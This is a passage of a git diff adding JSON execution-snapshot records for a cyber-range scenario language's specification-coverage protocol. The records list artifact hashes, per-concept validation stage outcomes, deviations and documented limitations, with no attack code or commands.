VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "921df86f6c6f3d0fd616ef5b30cd068ea48548a9fa84f43851153647c6232152", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "023ff5b28f68105cd85bdeebc75427ad85f22227", + "snapshot_id": "raes-standardized-specification-coverage-issue-1389-v54", + "snapshot_revision": "54.0.0", + "source_state": { + "base_revision": "023ff5b28f68105cd85bdeebc75427ad85f22227", + "checkout_state": "modified", + "implementation_digest": "621660dce2c3fb4bfd3123801cec95a18c6bf2e983b80b3e6126eb8e4667c270", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v55.json b/docs/research/specification-coverage/execution-snapshot-v55.json new file mode 100644 index 000000000..684488037 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v55.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27T18:30:54.525687+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "634b1dafb497e37709b0e8b7901be6ddaeec585e7ce71fd7248ece05afaf8c74", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "b7322e897c1141071f5f78f6f6acd590c675f00ab0410bb5e1ef2d17a70c997c", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter 